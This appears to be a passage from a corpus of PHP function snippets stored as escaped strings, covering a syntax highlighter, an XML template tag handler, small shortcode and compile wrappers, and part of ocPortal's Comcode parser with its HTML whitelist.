spans\n\t\t$str_temp = preg_replace($re_math_operator, \"$1<span class='js_mathoperator'>$2</span>\", $str_temp);\n\n\t\t// add the function declaration spans\n\t\t$str_temp = preg_replace($re_function_declaration, \"<span class='js_func_word'>$1</span><span class='js_func_name'>$2</span>(<span class='js_func_param'>$3</span>)$4\", $str_temp);\n\n\t\t// add the keyWord spans\n\t\t$str_temp = preg_replace($re_key_word, \"$1<span class='js_keyword'>$2</span>$3\", $str_temp);\n\n\t\t// add the object spans\n\t\t$str_temp = preg_replace($re_object, \"<span class='js_object'>$1</span>\", $str_temp);\n\n\t\t// add the value spans\n\t\t$str_temp = preg_replace($re_value, \"<span class='js_value'>$1</span>\", $str_temp);\n\n\t\t// add the method spans\n\t\t$str_temp = preg_replace($re_method, \".<span class='js_method'>$1</span>\", $str_temp);\n\n\t\t// remove the math operator span tag from the / with the meaning of start and end of a regexp\n\t\t$str_temp = preg_replace(\"/<span class='js_mathoperator'\\s*>\\/<\\/span>([^\\/]+)<span class='js_mathoperator'\\s*>\\/<\\/span>([gmi]*)/i\", \"/$1/$2\", $str_temp);\n\n\t\t// stores the tag identifiers that need to be processed with special treatment\n\t\t$regex_keys = [\"js_regexp\", \"js_string\"];\n\n\t\t// stores the replacement regex string for the values of regex_keys\n\t\t$regex_strings = [\n\t\t\t\"$1<span class='js_regexp'>$2</span>\",\n\t\t\t\"<span class='js_string'>$1</span>\"\n\t\t];\n\n\t\t// loop through the relevant tag identifiers in the stated order\n\t\tfor ($i = 0; $i < count($regex_keys); $i++) {\n\t\t\t// get this iteration's tag identifier\n\t\t\t$regex_key = $regex_keys[$i];\n\n\t\t\t// stores the processed chunk of text as its being cleaned up below\n\t\t\t$str_aux = \"\";\n\n\t\t\t// get the regex match object for the existance of this tag in the text\n\t\t\t$re_match = null;\n\n\t\t\t// loop while there are tags to process in the text\n\t\t\twhile (preg_match(${\"re_\".$regex_key}, $str_temp, $re_match, PREG_OFFSET_CAPTURE) !== false && !empty($re_match)) {\n\t\t\t\t$str_aux .= substr($str_temp, 0, $re_match[0][1]);\n\n\t\t\t\t// for the text inside this tag, remove any other color coding span tags from previous steps\n\t\t\t\t// and finaly add this tag's color coding spans\n\t\t\t\t$str_aux .= preg_replace(\n\t\t\t\t\t${\"re_\".$regex_key},\n\t\t\t\t\t$regex_strings[$i],\n\t\t\t\t\tpreg_replace_callback(\n\t\t\t\t\t\t${\"re_\".$regex_key},\n\t\t\t\t\t\tfunction($regex_matches) {\n\t\t\t\t\t\t\t// explicitely remove any js_mathoperator span tags that may have been placed around other html tags\n\t\t\t\t\t\t\treturn(preg_replace(\n\t\t\t\t\t\t\t\t\"/<span\\s+class='(css|js)_\\w+'\\s*>([^>]*)<\\/span>/i\",\n\t\t\t\t\t\t\t\t\"$2\",\n\t\t\t\t\t\t\t\tpreg_replace(\n\t\t\t\t\t\t\t\t\t\"/<span class='js_mathoperator'\\s*>([<>]+)<\\/span>/i\",\n\t\t\t\t\t\t\t\t\t\"$1\",\n\t\t\t\t\t\t\t\t\t$regex_matches[0]\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t));\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsubstr($str_temp, $re_match[0][1], strlen($re_match[0][0]))\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// remove the processed text from the non-processed text\n\t\t\t\t$str_temp = substr($str_temp, $re_match[0][1] + strlen($re_match[0][0]));\n\t\t\t}\n\n\t\t\t// add any final characters that didn't need to be processed\n\t\t\t$str_aux .= $str_temp;\n\n\t\t\t// store the processed text\n\t\t\t$str_temp = $str_aux;\n\t\t}\n\n\t\t// add the new script tag content\n\t\t$strs_final[\"color_coded\"] .= $str_temp;\n\n\t\t// remove this tag's content from the text to process\n\t\t$text = substr($text, $tag_end + 9);\n\t}\n\n\t// add any text after the last processed script tag to the final string\n\t$strs_final[\"color_coded\"] .= $text;\n\n\treturn($strs_final);\n}", "function Start_Tag($parser, $tag, $attribs)\r\n\t{\r\n\t\t$show = true;\r\n\t\t$close = '';\r\n\r\n\t\t$output = '';\r\n\r\n\t\tif ($tag == 'AMP') $output = '&amp;';\r\n\t\telse if ($tag == 'BOX')\r\n\t\t{\r\n\t\t\tif (isset($attribs[\"HANDLER\"]))\r\n\t\t\t{\r\n\t\t\t\t$handler = $attribs[\"HANDLER\"];\r\n\t\t\t\tif (file_exists(\"$handler.php\")) require_once(\"$handler.php\");\r\n\t\t\t\tif (class_exists($handler)) $box = new $handler;\r\n\t\t\t\telse die(\"Class does not exist ($handler).<br/>\\n\");\r\n\t\t\t}\r\n\t\t\telse $box = new Box();\r\n\t\t\tif (isset($attribs['TITLE'])) $box->title = $attribs['TITLE'];\r\n\t\t\tif (isset($attribs['TEMPLATE'])) $box->template = $attribs['TEMPLATE'];\r\n\t\t\tif (isset($attribs['ID'])) $box->name = $attribs['ID'];\r\n\t\t\t$this->objs[] = $box;\r\n\t\t\t$show = false;\r\n\t\t}\r\n\t\telse if ($tag == 'BR') $close = ' /';\r\n\t\telse if ($tag == 'COPY') $output .= '&copy;';\r\n\t\telse if ($tag == 'DOCTYPE')\r\n\t\t{\r\n\t\t\tif (isset($attribs['TYPE']))\r\n\t\t\t{\r\n\t\t\t\tif ($attribs['TYPE'] == 'strict')\r\n\t\t\t\t\t$output = '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Strict//EN\"\r\n\t\t\t\t\t\t\"http://www.w3.org/TR/html4/strict.dtd\">';\r\n\t\t\t\tif ($attribs['TYPE'] == 'trans')\r\n\t\t\t\t\t$output = '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\r\n\t\t\t\t\t\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">';\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if ($tag == 'IMG') $close = ' /';\r\n\t\telse if ($tag == 'INCLUDE')\r\n\t\t{\r\n\t\t\t$inc_file = $attribs['FILE'];\r\n\t\t\tif (!file_exists($inc_file))\r\n\t\t\t{\r\n\t\t\t\tError(\"Template::Start_Tag()<br/>\r\n\t\t\t\t&lt;INCLUDE> File ({$inc_file}) does not exist.<br/>\r\n\t\t\t\tin {$this->template}\r\n\t\t\t\ton line \".xml_get_current_line_number($parser).\"<br/>\");\r\n\t\t\t}\r\n\t\t\trequire_once($inc_file);\r\n\t\t\t$class = $attribs['CLASS'];\r\n\t\t\tif (!class_exists($class)) Error(\"Template::Start_Tag()<br/>\r\n\t\t\t\t&lt;INCLUDE> Class ({$class}) does not exist.\r\n\t\t\t\tin {$this->template}\r\n\t\t\t\ton line \".xml_get_current_line_number($parser).\"<br/>\");\r\n\t\t\t$mod = new $class($this->data);\r\n\t\t\t$mod->Prepare($this->data);\r\n\t\t\tif (!isset($attribs['NAME'])) Error(\"Template::Start_Tag()<br/>\r\n\t\t\t\t&lt;INCLUDE> Attribute 'NAME' does not exist.\r\n\t\t\t\tin {$this->template}\r\n\t\t\t\ton line \".xml_get_current_line_number($parser).\"<br/>\");\r\n\t\t\t$this->includes[$attribs['NAME']] = $mod;\r\n\t\t\t$show = false;\r\n\t\t}\r\n\t\telse if ($tag == 'INPUT') $close = ' /';\r\n\t\telse if ($tag == 'LINK') $close = ' /';\r\n\t\telse if ($tag == 'META') $close = ' /';\r\n\t\telse if ($tag == 'NBSP') $output = '&nbsp;';\r\n\t\telse if ($tag == 'NULL') $show = false;\r\n\t\telse if ($tag == 'PRESENT')\r\n\t\t{\r\n\t\t\t$this->objs[] = $this->includes[$attribs['NAME']];\r\n\t\t\t$show = false;\r\n\t\t}\r\n\t\telse if ($tag == \"TEMPLATE\")\r\n\t\t{\r\n\t\t\tif (isset($attribs[\"FILE\"]))\r\n\t\t\t{\r\n\t\t\t\t$t = new Template();\r\n\t\t\t\t$obj = &$this->GetCurrentObject();\r\n\t\t\t\t$obj->out .= $t->Get($attribs[\"FILE\"]);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if ($tag == \"XFORM\")\r\n\t\t{\r\n\t\t\tif (isset($attribs[\"NAME\"])) $name = $attribs[\"NAME\"];\r\n\t\t\telse $name = \"formUnnamed\";\r\n\t\t\t$form = new Form($name);\r\n\t\t\tforeach ($attribs as $name => $val) $form->attribs[$name] = $val;\r\n\t\t\t$this->objs[] = $form;\r\n\t\t}\r\n\t\telse if ($tag == \"XINPUT\")\r\n\t\t{\r\n\t\t\tif (isset($attribs[\"TYPE\"]))\r\n\t\t\t{\r\n\t\t\t\tif ($attribs[\"TYPE\"] == \"hidden\")\r\n\t\t\t\t{\r\n\t\t\t\t\t$obj = &$this->GetCurrentObject();\r\n\t\t\t\t\t$obj->AddHidden($attribs[\"NAME\"], $attribs[\"VALUE\"]);\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (isset($attribs[\"TEXT\"])) $text = $attribs[\"TEXT\"];\r\n\t\t\telse $text = \"\";\r\n\t\t\tif (isset($attribs[\"NAME\"])) $name = $attribs[\"NAME\"];\r\n\t\t\telse $name = \"\";\r\n\t\t\tif (isset($attribs[\"VALUE\"])) $value = $attribs[\"VALUE\"];\r\n\t\t\telse $value = \"\";\r\n\t\t\tif (isset($attribs[\"HELP\"])) $help = $attribs[\"HELP\"];\r\n\t\t\telse $help = NULL;\r\n\r\n\t\t\t$obj = &$this->GetCurrentObject();\r\n\t\t\t$obj->AddInput($text, $attribs[\"TYPE\"], $name, $value, null, $help);\r\n\t\t}\r\n\r\n\t\tif ($show)\r\n\t\t{\r\n\t\t\t$obj = &$this->GetCurrentObject();\r\n\t\t\tif (strlen($output) > 0) $obj->out .= \"{$output}\";\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$obj->out .= '<'.strtolower($tag);\r\n\t\t\t\tforeach ($attribs as $name => $val)\r\n\t\t\t\t\t$obj->out .= ' '.strtolower($name).'=\"'.$val.'\"';\r\n\t\t\t\t$obj->out .= \"{$close}>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function tagins($stuffing) {\n return \"<\".$stuffing.\">\";\n }", "function yy_r8(){$this->compiler->tag_nocache = true; $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '?>';?>\\n\", $this->compiler, true); }", "function template_tag_handler( $id = \"\", $pos = \"\", $dload = \"\", $play = \"\", $list = \"\" ) {\n\t\t\t\n\t\t\t$this->putTag_runCount++;\n\t\t\tif ( $this->theSettings['disable_template_tag'] == \"true\" ) { return; }\n\t\t\t\n\t\t\tif ( !empty($id) && !is_numeric($id) ) {\n\t\t\t\t$this->external_call = true;\n\t\t\t\t$shortcodes_return = do_shortcode( $id );\n\t\t\t\t$this->external_call = false;\n\t\t\t}\n\t\t\techo $shortcodes_return;\n\t\t\treturn;\t\t\t\n\t\t}", "public function compile()\n\t{\n\t\tif ($this->dirty() and $this->compile)\n\t\t{\n\t\t\t$compiler = new Compiler($this, $this->app);\n\t\t\t$this->contents = $compiler->run();\n\t\t}\n\t}", "public abstract function do_shortcode( $atts, $content, $tag );", "public function compile($data){\n \treturn $this->less->compile($data);\n }", "public function generate()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$objTemplate = new BackendTemplate('be_wildcard');\n\t\t\t$objTemplate->wildcard = '### Tag List by Category ###';\n\n\t\t\treturn $objTemplate->parse();\n\t\t}\n\t\tif (strlen($this->tag_sourcetables)) $this->sourcetables = deserialize($this->tag_sourcetables, TRUE);\n\t\tarray_push($this->arrPages, $this->pagesource);\n\t\t$this->getRelevantPages($this->pagesource);\n\t\treturn parent::generate();\n\t}", "function comcode_text_to_tempcode($comcode,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$is_all_semihtml,$structure_sweep,$check_only,$highlight_bits=NULL,$on_behalf_of_member=NULL)\n{\n\tglobal $ADVERTISING_BANNERS,$ALLOWED_ENTITIES,$POTENTIALLY_EMPTY_TAGS,$CODE_TAGS,$REVERSABLE_TAGS,$PUREHTML_TAGS,$DANGEROUS_TAGS,$VALID_COMCODE_TAGS,$BLOCK_TAGS,$POTENTIAL_JS_NAUGHTY_ARRAY,$TEXTUAL_TAGS,$LEET_FILTER,$IMPORTED_CUSTOM_COMCODE,$REPLACE_TARGETS;\n\n\t$wml=false; // removed feature from ocPortal now\n\t$print_mode=get_param_integer('wide_print',0)==1;\n\n\t$len=strlen($comcode);\n\n\tif ((function_exists('set_time_limit')) && (ini_get('max_execution_time')!='0')) @set_time_limit(300);\n\n\t$allowed_html_seqs=array('<table>','<table class=\"[^\"]*\">','<table class=\"[^\"]*\" summary=\"[^\"]*\">','<table summary=\"[^\"]*\">','</table>','<tr>','</tr>','<td>','</td>','<th>','</th>','<pre>','</pre>','<br />','<br/>','<br >','<br>','<p>','</p>','<p />','<b>','</b>','<u>','</u>','<i>','</i>','<em>','</em>','<strong>','</strong>','<li>','</li>','<ul>','</ul>','<ol>','</ol>','<del>','</del>','<dir>','</dir>','<s>','</s>','</a>','</font>','<!--','<h1 id=\"main_page_title\">','<h1 class=\"main_page_title\">','<h1 id=\"main_page_title\" class=\"main_page_title\">','</h1>','<img (class=\"inline_image\" )?alt=\"[^\"]*\" src=\"[^\"]*\" (complete=\"true\" )*/>','<img src=[\"\\'][^\"\\'<>]*[\"\\']( border=[\"\\'][^\"\\'<>]*[\"\\'])?( alt=[\"\\'][^\"\\'<>]*[\"\\'])?( )?(/)?'.'>','<a href=[\"\\'][^\"\\'<>]*[\"\\']( target=[\"\\'][^\"\\'<>]*[\"\\'])?'.'>'); // HTML tag may actually be used in very limited conditions: only the following HTML seqs will come out as HTML. This is, unless the blacklist filter is used instead.\n\tif ($as_admin)\n\t{\n\t\t$comcode_dangerous=true;\n\t\t$comcode_dangerous_html=true;\n\t} else\n\t{\n\t\t$comcode_dangerous=($GLOBALS['MICRO_BOOTUP']==0) && (has_specific_permission($source_member,'comcode_dangerous'));\n\t\t$comcode_dangerous_html=false;\n\t\tif ((has_specific_permission($source_member,'allow_html')) && (($is_all_semihtml) || (strpos($comcode,'[html')!==false) || (strpos($comcode,'[semihtml')!==false)))\n\t\t{\n\t\t\t$comcode_dangerous_html=true;\n\t\t\t/*foreach (array_keys($POTENTIALLY_EMPTY_TAGS) as $tag) // Find whether we really need to enable the computational-expensive filtering. Code disabled, not sure why this would have ever worked!\n\t\t\t{\n\t\t\t\tif (($tag!='html') && ($tag!='semihtml') && (strpos($comcode,'['.$tag)!==false))\n\t\t\t\t{\n\t\t\t\t\t$comcode_dangerous_html=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}*/\n\t\t}\n\t}\n\tif (is_null($pass_id)) $pass_id=strval(mt_rand(0,32000)); // This is a unique ID that refers to this specific piece of comcode\n\tglobal $COMCODE_ATTACHMENTS;\n\tif (!array_key_exists($pass_id,$COMCODE_ATTACHMENTS)) $COMCODE_ATTACHMENTS[$pass_id]=array();\n\n\t// Tag level\n\t$current_tag='';\n\t$attribute_map=array();\n\t$tag_output=new ocp_tempcode();\n\t$continuation='';\n\t$close=mixed();\n\n\t// Properties that come from our tag\n\t$white_space_area=true;\n\t$textual_area=true;\n\t$formatting_allowed=true;\n\t$in_html=false;\n\t$in_semihtml=$is_all_semihtml;\n\t$in_separate_parse_section=false; // Not escaped because it has to be passed to a secondary filter\n\t$in_code_tag=false;\n\t$code_nest_stack=0;\n\n\t// Our state\n\t$status=CCP_NO_MANS_LAND;\n\t$lax=$GLOBALS['LAX_COMCODE'] || function_exists('get_member') && $source_member!=get_member() || count($_POST)==0; // if we don't want to produce errors for technically invalid Comcode\n\t$tag_stack=array();\n\t$pos=0;\n\t$line_starting=true;\n\t$just_ended=false;\n\t$none_wrap_length=0;\n\t$just_new_line=true; // So we can detect lists starting right away\n\t$just_title=false;\n\tglobal $NUM_LINES;\n\t$NUM_LINES=0;\n\t$queued_tempcode=new ocp_tempcode();\n\t$mindless_mode=false; // If we're doing a semi parse mode and going over a tag we don't actually process\n\t$tag_raw='';\n\n\tif ((!is_null($wrap_pos)) && (strtolower(get_charset())=='utf-8'))\n\t\t$wrap_pos*=2;\n\n\t$b_all=(get_option('admin_banners',true)==='1');\n\n\t$stupidity_mode=get_value('stupidity_mode'); // bork or leet\n\tif ($comcode_dangerous) $stupidity_mode=get_param('stupidity_mode','');\n\tif ($stupidity_mode=='leet')\n\t{\n\t\t$LEET_FILTER=array(\n\t\t'B'=>'8',\n\t\t'C'=>'(',\n\t\t'E'=>'3',\n\t\t'G'=>'9',\n\t\t'I'=>'1',\n\t\t'L'=>'1',\n\t\t'O'=>'0',\n\t\t'P'=>'9',\n\t\t'S'=>'5',\n\t\t'U'=>'0',\n\t\t'V'=>'\\/',\n\t\t'Z'=>'2'\n\t\t);\n\t}\n\n\t$smilies=$GLOBALS['FORUM_DRIVER']->find_emoticons(); // We'll be needing the smiley array\n\t$shortcuts=array('(EUR-)'=>'&euro;','{f.}'=>'&fnof;','-|-'=>'&dagger;','=|='=>'&Dagger;','{%o}'=>'&permil;','{~S}'=>'&Scaron;','{~Z}'=>'&#x17D;','(TM)'=>'&trade;','{~s}'=>'&scaron;','{~z}'=>'&#x17E;','{.Y.}'=>'&Yuml;','(c)'=>'&copy;','(r)'=>'&reg;','---'=>'&mdash;','--'=>'&ndash;','...'=>'&hellip;','-->'=>'&rarr;','<--'=>'&larr;');\n\n\t// Text syntax possibilities, that get maintained as our cursor moves through the text block\n\t$list_indent=0;\n\t$list_type='ul';\n\n\tif ($is_all_semihtml) filter_html($as_admin,$source_member,$pos,$len,$comcode,false,false); // Pre-filter the whole lot (note that this means during general output we do no additional filtering)\n\n\twhile ($pos<$len)\n\t{\n\t\t$next=$comcode[$pos];\n\t\t++$pos;\n\n\t\t// State machine\n\t\tswitch ($status)\n\t\t{\n\t\t\tcase CCP_NO_MANS_LAND:\n\t\t\t\tif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\t// Look ahead to make sure it's a valid tag. If it's not then it's considered normal user input, not a tag at all\n\t\t\t\t\t$dif=(($pos<$len) && ($comcode[$pos]=='/'))?1:0;\n\t\t\t\t\t$ahead=substr($comcode,$pos+$dif,MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH);\n\t\t\t\t\t$equal_pos=strpos($ahead,'=');\n\t\t\t\t\t$space_pos=strpos($ahead,' ');\n\t\t\t\t\t$end_pos=strpos($ahead,']');\n\t\t\t\t\t$lax_end_pos=strpos($ahead,'[');\n\t\t\t\t\t$cl_pos=strpos($ahead,chr(10));\n\t\t\t\t\tif ($equal_pos===false) $equal_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($space_pos===false) $space_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($end_pos===false) $end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($lax_end_pos===false) $lax_end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($cl_pos===false) $cl_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\t$use_pos=min($equal_pos,$space_pos,$end_pos,$lax_end_pos,$cl_pos);\n\n\t\t\t\t\t$potential_tag=strtolower(substr($ahead,0,$use_pos));\n\t\t\t\t\tif (($use_pos!=22) && ((!$in_semihtml) || ($dif==1) || (($potential_tag!='html') && ($potential_tag!='semihtml'))) && ((!$in_html) || (($dif==1) && ($potential_tag=='html'))) && ((!$in_code_tag) || ((isset($CODE_TAGS[$potential_tag])) && ($potential_tag==$current_tag))) && ((!$structure_sweep) || ($potential_tag!='contents')))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($in_code_tag)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($dif==1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack--;\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$ok=($code_nest_stack==-1);\n\t\t\t\t\t\t} else $ok=true;\n\n\t\t\t\t\t\tif ($ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!isset($VALID_COMCODE_TAGS[$potential_tag]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!$IMPORTED_CUSTOM_COMCODE)\n\t\t\t\t\t\t\t\t\t_custom_comcode_import($connection);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((isset($VALID_COMCODE_TAGS[$potential_tag])) && (strtolower(substr($ahead,0,2))!='i ')) // The \"i\" bit is just there to block a common annoyance: [i] doesn't take parameters and we don't want \"[i think]\" (for example) being parsed.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($comcode[$pos]!='/') || (count($tag_stack)==0))\n\t\t\t\t\t\t\t\t\t$mindless_mode=($semiparse_mode) && /*(!isset($CODE_TAGS[$potential_tag])) && */((!isset($REVERSABLE_TAGS[$potential_tag])) || ((is_string($REVERSABLE_TAGS[$potential_tag])) && (preg_match($REVERSABLE_TAGS[$potential_tag],substr($comcode,$pos,100))!=0))) && (!isset($PUREHTML_TAGS[$potential_tag]));\n\t\t\t\t\t\t\t\telse $mindless_mode=$tag_stack[count($tag_stack)-1][7];\n\n\t\t\t\t\t\t\t\t$close=false;\n\t\t\t\t\t\t\t\t$current_tag='';\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\tif ((/*(($potential_tag=='html') || ($potential_tag=='semihtml')) && */($just_new_line)) || (isset($BLOCK_TAGS[$potential_tag])))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$status=CCP_STARTING_TAG;\n\t\t\t\t\t\t\t\tif ($mindless_mode)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]!='/')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (array_key_exists($potential_tag,$BLOCK_TAGS))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep_block\">[';\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep\">[';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$tag_raw='[';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tag_raw='';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif (($use_pos!=22) && ((($in_semihtml) || ($in_html)) && (($potential_tag=='html') || ($potential_tag=='semihtml'))) && (!$in_code_tag))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ahc=strpos($ahead,']');\n\t\t\t\t\t\t\tif ($ahc!==false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$pos+=$ahc+1;\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ((($in_html) || ((($in_semihtml) && (!$in_code_tag)) && (($next=='<') || ($next=='>') || ($next=='\"')))))\n\t\t\t\t{\n\t\t\t\t\tif ($next==chr(10)) ++$NUM_LINES;\n\n\t\t\t\t\tif ((!$comcode_dangerous_html) && ($next=='<')) // Special filtering required\n\t\t\t\t\t{\n\t\t\t\t\t\t$close=strpos($comcode,'>',$pos-1);\n\t\t\t\t\t\t$portion=substr($comcode,$pos-1,$close-$pos+2);\n\t\t\t\t\t\t$seq_ok=false;\n\t\t\t\t\t\tforeach ($allowed_html_seqs as $allowed_html_seq)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (preg_match('#^'.$allowed_html_seq.'$#',$portion)!=0) $seq_ok=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!$seq_ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// $next='&lt;'; //OLD STYLE\n\t\t\t\t\t\t\tif ($close!==false) $pos=$close+1; // NEW STYLE\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (substr($comcode,$pos-1,4)=='<!--') // To stop shortcut interpretation\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.='<!--';\n\t\t\t\t\t\t$pos+=3;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse // Not in HTML\n\t\t\t\t{\n\t\t\t\t\t// Text-format possibilities\n\t\t\t\t\tif (($just_new_line) && ($formatting_allowed) && (!$wml))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($continuation!='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List\n\t\t\t\t\t\t$found_list=false;\n\t\t\t\t\t\t$old_list_indent=$list_indent;\n\t\t\t\t\t\tif (($pos+2<$len) && (is_numeric($next)) && (((is_numeric($comcode[$pos])) && ($comcode[$pos+1]==')') && ($comcode[$pos+2]==' ')) || (($comcode[$pos]==')') && ($comcode[$pos+1]==' '))) && ((($list_type=='1') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n\\d+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && ($list_type!='1'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='1';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($pos+2<$len) && (ord($next)>=ord('a')) && (ord($next)<=ord('z')) && ($comcode[$pos]==')') && ($comcode[$pos+1]==' ') && ((($list_type=='a') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n[a-z]+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && ($list_type!='a'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='a';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($next==' ')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($old_list_indent!=0) && ($list_type!='ul'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$scan_pos=$pos-1;\n\t\t\t\t\t\t\t$list_indent=0;\n\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\tif (($scan_next=='-') && ($scan_pos+1<$len) && ($comcode[$scan_pos+1]==' '))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($scan_next==' ') ++$list_indent; else 